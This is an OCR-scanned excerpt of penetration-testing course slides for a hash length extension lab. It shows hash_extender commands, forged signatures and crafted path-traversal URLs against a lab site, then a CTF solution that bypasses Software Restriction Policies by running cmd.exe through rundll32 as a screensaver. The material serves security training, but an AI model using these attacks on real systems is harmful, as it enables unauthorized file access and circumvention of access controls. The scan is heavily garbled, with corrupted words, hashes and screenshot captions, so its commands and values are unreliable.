New string: Anime07%2dshort%2emp4%80%00%00%00%00%00%00%00%00%00%00%. ..

Type: shal

Secret length: 7

New signature: e717833d27c998a4cad8fdbf5f3cfbe88516e85b

New string: Anime07%2dshort%2emp4%80%00%00%00%00%00%00%00%00%00%00%. . .

SEC660 | Advanced Penetration T sting, Exploit Writing, and Ethical Hacking
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Valid Hash Extension (3)

Since we have to guess the secret within a length range, hash _extender includes an option to specify a
minimum and maximum secrel lenglh, gem:raling lhe hash and string Fr each, as shown on this slide. This
Fature certainly isn't mandatory for using hash_extender, but can be convenient Fr trying multiple hashes
when guessing the secret length.

To have hash extender calculate a range ofsecrets, omit the "-1" parameter and speci® the minimum and
maximum secret length with "--secret-min" and "--secret-max".
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$ hash extender -d Anime07-short.mp4 -s
e6ec8047belf39b800£f7£503269e£f191eae0fb30 -a /../Anime07-£full.mp4 --format
shal -1 9 --out-data-format html

Type: shal

Secret length: 9

New signature: e717833d27c998a4cad8fdbf5f3cfbe88516e85b

New string:
Anime07%2dshort%$2emp4%$80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%$00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%d0%2f%2e%2e%2fAni
me07%2dfull%2emp4

anime.sec660.org/access.php?filename=Animeo7%2dshort%2emp4%80%00%00%00%00%00%00%00%0
0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%d0%2f%2e%2e%2fAnimeo7%2dfull%2emp48&hash=e717833d27c998a4cad8fdbf5f3c

fbe88516e85b

Guessing with SHA| and a 9-character secret
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Valid Hash Extension (4)

This page demonstrates the use ofhash_extender with a secret length 0f9, using the same SHAI hash guess.
Use the output ofhash_extender with these parameters to try and access a fle Fom the system.
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Valid Hash Extension (5)

fl e &

| 1908 Archive - Criginal Anime ]-*‘_

€ P 262263268 nim 075 2dfull% 2empdBihash= 71783327 998sdc adBfdbfSf3cibe88516e85H ~ -+ Bl - Gorgus 8 A D~

3 =2

Cpening Animed?-full mpd

You have chosen to cpen

w A\007-fulmpd

which 1 MP4 Vid C
Itom: http:/COnmle."e<66 (org

%mo User!

|

|

What should Firefox do with this file? | |
j@ss to the best origina ||
|

1]

{

Qpen with | Windows Media Player (defauit) - I ' :
¢ ntemet. Enjoy this free
. i
s | .
F our archive. Consider
. (a3 ks et e v P (o N l
r |
L ! ——
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Valid Hash Extension (5)

Using the hash_extender options specified on the previous page, the target response will be similar to that
shown here. This likely means that we have a valid hash! Save the file and examine the fle contents.
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Not aValid File

®

* Valid hash, but the retrieved —
Tle is O bytes in length —
+ Continue trying Flenames S

Saloal

until you get the Fll version
of the Anime07-short. mp4 -y

Moddied

fl e Acceszed.

anrbudes

.

Y= =l
= Animal7-fullmpd Properties &

General | Secuty i Detads J Previous Versions

Anene07 1mpd

MP4 Video (.m)
i) Wawdow: Meda Playes S = |

C:\Wser2\maghl \Downloads
Obytes
0bM

Today, Maich 22, 2014, 5 rninutes ago
Vodsy. March 23, 2018 5 v~ 1 8g0
Today, Maich 23, 2014. 5 minutes ago

Bead ordl Hidden Agvanced

ar Cancal

4
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Not a Valid File

We were able to get past the incorrect hash error, but we still didn't get the filename target we were looking
Fr. The "Anime07-Fll.mp4" Fle is zero bytes in length. Continue trying other Flenames until you get the Fll

version ofthe file.
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* Find yourselfin a situation similar to an exercise?
* Refer back to the exercise and lecture for syntax

* Do not obsess on one tool or target

* Pilfer any non-default content

SEC660 | Advanced Penetratien Testing. Exploit Writing, and Ethical Hacking 217
Hints
Since this is an Advanced Penetration Testing class, the hints are Fund in the secret plans! Seriously, just
consider that ifyou find yourselfin a similar situation to material we've covered, apply it to what you see.
Again, do NOT obsess about one target or tool: Your time is better spent exploring new things. Pilfer anything
that looks like non-deFult Fles or content, it may be related and valuable to the game.
217
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Bootcamp CTF - STOP

* Stop here, unless you want answers to the exercise

SEC660 | Adwvnced Penetration Testing, Exploit Writing. and Ethical Hacking ~ 2le

Bootcamp CTF - STOP

Don't go any Frther unless you want to get the answers to the exercise. The next page starts a review ofthe
answers to this exercise.
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Bootcamp CTF Solution

* This CTF allows for multiple paths

* Some work better with diferent tools
* Ifyou found a new one, great!

* The following is one of many

* Here we emphasize Metasploit, since the Empire path is
very close to the exercises already completed today
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Bootcamp CTF Solution

This CTF is designed to have multiple paths, so the walkthrough will be in methodology and direction (Fcts
such as magic passwords or special IP addresses, notso much). Ofen, the only thing preventing exploitation is
a misaligned version ofatool or setting, so be prepared, as an Advanced Pen Tester should, to modi¥ your
tools, setup, and technique as needed.

The 660.2 exercises should be extremely use ¥l in knowing what to do next. This solution will emphasize the
Metasploit tool instead ofusing nearly identical instructions Ffom previous exercises.
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Gaining CMD on Offce

* SRP prevents execution of path
¢:\windows\system32\cmd.exe

* Copy cmd.exe to desktop or upload from your own
Windows
* But explorer.exe blocks right-clicks
* Download with web browser

* Alternatively use rundll32.exe cmd screensaver

copy c:\windows\system32\cmd.exe c:\cmd.scr
rundl 132 . exe desk.cpl, InstallScreenSaver c:\cmd.scr
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Gaining CMD on OFce

Sofware Restriction Policies (SRP) prevent many things here, primarily blocking execution of
¢:\windows\system32\cmd.exe. You could use another shell, such as the limited command.com, upload your
own cmd.exe to a different location, or copy the c:\windows\system32\cmd.exe on the victim to another
location. Realistically, it is diffcult to have a machine that is both usable and offer no command shell at all.
You need to fnd out only how the machine is typically used.

You could also use the rundll32.exe trick to start a cmd.scr screensaver.

copy c:\windows\system32\cmd.exe c:\cmd.scr
rundl 132 .exe desk.cpl, InstallScreenSaver c:\cmd.scr

Right-clicking in explorer.exe is also prevented via GPO. You have to use a different fle browser (there's an
alternative under C:\Program Files) or use the web browser to download more tools. You may have noticed
that PowerShell.exe is installed, which removes the need to gain cmd.exe access.
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$ hash extender -d Anime0O7-short.mp4 -s
e6ec8047belf39b800£7£503269ef191eae0fb30 -a /../Anime07.mp4 --format shal
-1 9 --out-data-format html

Type: shal

Secret length: 9

New signature: 1b8049efl1f82d911bc6d31d89b989b8fc510al0

New string:
Anime07%2dshort%2emp4%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00
%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%d0%2F%2e%2e%2 FTAI

me07%2emp4

anime.sec660.org/access.php?fename=
Animeo7%2dshort%2emp4%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%0
0%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%d0%2f%2e%2e%?2
Fnimeo7%2emp4 Lash=1b8049ef11f82d911bc6d31d89b989b8F510al0

Guessing the filename "Anime07.mp4”
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Valid Hash Extension (6)

Using the flename guess "Anime07.mp4", calculate the hash and flename extension string, as shown on this
page. Use these parameters to access content Fom the target website.
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Valid Hash Extension (7)

l'._—.;.:i-i.'l
198Archivt - Original Anim, ( +_1
‘. > g 0s Fa N1 05 71 PrAS Py A8 bg a1y =4 Bp 03 5d3 0597 by e e » . xpt + C -

Opening Animel7.mpd

19C

You h.ve cholln to open

o AnEe07_p4

whKh i MP4 Video
frQm: http//anin, tsec&,0rg

1908 Archiv
fontant 4vi
of the corty

e

What should Fireo,; do wilt, this hit?

& | Open with | Windows Media Player {default)

Save File

Do thil lutomatically to, file likOthisfrom no on.

Conco

o)

= (3
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m Animed7.mpd Properties
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Valid Hash Extension (7)

Using the output from hash_extender on the previous page, we can bypass the hash validation mechanism and

request Fles previously inaccessible to the user, as shown on this page.

90
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Hash Length Extension Attack: The Point

* Several unknown parameters make hash length

extension attacks difcult

* Server susceptibility to the attack

* Secret length

* Hashing Fnction

* Predictable flenames and system output

* Hash_extender simplifes the hash extension

calculation process
* Butthisisstill a very manual attack process

~ Watch for applications that use a hash to validate input content; apply the hash length

extension attack to access additional resources

SEC660 | Advanced Pene®don Testing, Explolt Writing, and Ethicl Hacking 9!

Hash Length Extension Attack: The Point

In this exercise, we successfully exploited a website vulnerable to the hash length extension attack, but not
without some diFiculty. In a penetration test, we would not typically know ifthe server is vulnerable, the
secretlength, the hashing Fnction, and predictable Flenames that could be used to validate a successful hash
length extension attack. Further, the lab target was clear about valid and invalid hashes with a simple error
message, but this may not be the case in all situations.

Using hash_extender, we can simpli the process ofcalculating hashes Fr this attack, but it is still very much
a manual guessing process. This is where we as advanced penetration testers provide value over automated
scanning and exploitation tools and even less experienced penetration testers: We can apply techniques in
creative ways and experiment with a system until we exploit the target or are reasonably confdent that the

system is not vulnerable.

During your penetration tests, watch ¥r applications that use a hash to validate input content, either through a
web page or any other network protocol. Apply the hash length extension attack to access additional resources
accessible on the target.
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